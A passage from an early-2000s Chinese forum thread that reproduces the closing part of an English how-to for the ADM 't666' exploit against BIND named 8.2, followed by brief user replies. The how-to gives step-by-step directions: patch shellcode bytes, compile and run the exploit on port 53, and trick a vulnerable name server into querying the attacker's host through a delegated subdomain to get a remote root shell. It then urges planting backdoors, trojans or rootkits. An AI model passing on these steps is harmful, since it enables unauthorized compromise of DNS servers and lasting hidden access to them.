    0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x69,0x6e,0x2f

    Done.

6. How do I compile the exploit?
    As always:
    $gcc t666.c -o t666<ENTER>
    $

7. How do I run the exploit?
    $su<ENTER>
    Password:<password><ENTER>
    #./t666 1<ENTER>
   
    Now the exploit is bound to port 53 (if you run a DNS server on the
    machine you want to run the exploit on, you must first kill the name
    server, use: #killall -9 named)
    The exploit is now waiting for queries, the second someone will query
    your exploit machine you will get an output:
    Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
    If it was a DNS server, it would enter a proxy loop, and if it is a
    vulnerable server, running on Linux Redhat 6.x - named 8.2/8.2.1
    (from rpm) (this is because we chose architecture 1, type ./t666
    without arguments and you will get a list of the architectures that
    the exploit will work on, I have tried it on Redhat linux only, so
    don't ask me why solaris doesn't work, I don't have a solaris to test
    it on, nor do I have the time to put more effort on this exploit.)
    You will get a remote root shell.

8. How do I make the vulnerable server make a query to my ip?
    This is very easy now, once you have added a subdomain in a name
    server on the net and made yourself its DNS, the only thing left to
    do, is query the vulnerable server for a host inside the added
    subdomain.

    $nslookup
    >server <victim><ENTER>
    >www.subdomain.infoseek.com<ENTER>

    What will happen, is the server will ask, in this case
    NS-UU.infoseek.com for the IP of www.subdomain.infoseek.com.
    NS-UU.infoseek.com will start searching and will get to subdomain,
    because subdomain has its OWN NS record, it will tell <victim> that
    hacker.box.com. (your hostname in this case) is the Authoritative Name
    Server for subdomain.infoseek.com. Now, what will happen, is that
    <victim> will query hacker.box.com, for the ip address of
    www.subdomain.infoseek.com. BOOM!

9. What should I do before I leave the shell?
    When you exploit BIND, it will crash named, so you need to add some
    kind of a back door so you could log back in and restart it.
    *DO NOT TRY TO RESTART IT WHITHIN THE SHELL.*
    There are plenty of trojans and rootkits you could install on the
    server, I leave that to you.


Section D - Who should be credited for this HowTo?
--------------------------------------------------

1. who is the person that motivated me into writing this?
    That person is no other the gov-boi, he operates the great site
    www.hack.co.za. Without him, this How-To would have never been writen!
    Thanks Gov-Boi

2. whoami?
    I am E-Mind, you can find me on IRC (EFNet)
    I am not giving away my E-Mail, and will not answer stupied questions.
    I think I have provided everything you need to RUN the exploit in this How-To.
    If not, and if you find errors, PLEASE /msg me on IRC.

3. can I distribute/change this HowTo?
    I take no responsibility for your actions.
    You are free to do whatever you want with this file

    *AS LONG AS "SECTION D" REMAINS UNTOUCHED*

4. Final Credits and Greets

    Credits:
   
    Gov-Boi - Keep up the good work man! ;p
   
    Aleph One - no other article out there explains buffer overflows
        better then yours!
   
    ADM - for writing this cool exploit.


    Greetz:

    #myth!, #!glich, #972, #darknet, #feed-the-goats - ****sup guyz? ;]


EOF

*/
----------------------------------------------------------
送给你我思念的手
愿它能传递我的温柔
与暖暖的问候
解开你眉间的忧
赶走你心中的愁
让所有幸福与快乐
从此在你的身旁停留

编辑 删除 发表时间发表于 2002-04-18.13:19:54   MSIE 5.01 Windows 2000IP: 已记录
kissme帅哥哦
级别:一般站友
威望:0
经验:0
货币:23
体力:1.1
来源:202.100.143.*
总发帖数:29
注册日期:2002-03-22
查看 邮件 主页 QQ 消息 引用 复制 下载 

老大阿,能说清楚吗?
一行行的代码,谁能看动阿

编辑 删除 发表时间发表于 2002-04-18.15:52:29   MSIE 6.0 Windows XPIP: 已记录
X-Laser帅哥哦
级别:长 老 级
威望:0
经验:0
货币:37
体力:0.5
来源:61.174.157.*
总发帖数:628
注册日期:2002-02-10
查看 邮件 主页 QQ 消息 引用 复制 下载 

去编译一下就知道怎么用了 懒的去看了@_@

编辑 删除 发表时间发表于 2002-04-18.22:02:00   MSIE 5.0 Windows 98IP: 已记录
听雨美女哟
级别:一般站友
威望:0
经验:0
货币:169
体力:33.3
来源:61.177.27.*
总发帖数:25
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

“精”是绝对应该的!好文章,拜读了。谢谢
----------------------------------------------------------
少年听雨歌楼上。红烛昏罗帐。壮年听雨客舟中,江阔云低、断雁叫西风。
而今听雨僧庐下, 鬓已星星也。悲欢离合总无情,一任阶前点滴到天明。

编辑 删除 发表时间发表于 2002-04-18.22:32:17   MSIE 6.0 Windows 2000IP: 已记录
我的心以死帅哥哦
级别:一般站友
威望:0
经验:0
货币:165
体力:31.6
来源:浙江
总发帖数:23
注册日期:2002-04-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

没什么用这个是编译不通的

不信可以编译去
现在 那还有bind的漏洞 大海捞针

编辑 删除 发表时间发表于 2002-04-19.07:19:24   MSIE 5.01 Windows 2000IP: 已记录
TpigerNo2帅哥哦
级别:老 站 友
威望:0
经验:0
货币:427
体力:16.4
来源:重庆
总发帖数:222
注册日期:2002-04-18
查看 邮件 主页 QQ 消息 引用 复制 下载 

看到了不该看的东西…………

编辑 删除 发表时间发表于 2002-04-19.11:24:25   MSIE 5.5 Windows 2000IP: 已记录
傻瓜博士帅哥哦
级别:一般站友
威望:0
经验:0
货币:146
体力:31.7
来源:圣域
总发帖数:13
注册日期:2002-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵~
----------------------------------------------------------
<marquee>勿忘国耻,捍卫家园!</marquee>

编辑 删除 发表时间发表于 2002-04-19.11:46:31   MSIE 5.5 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题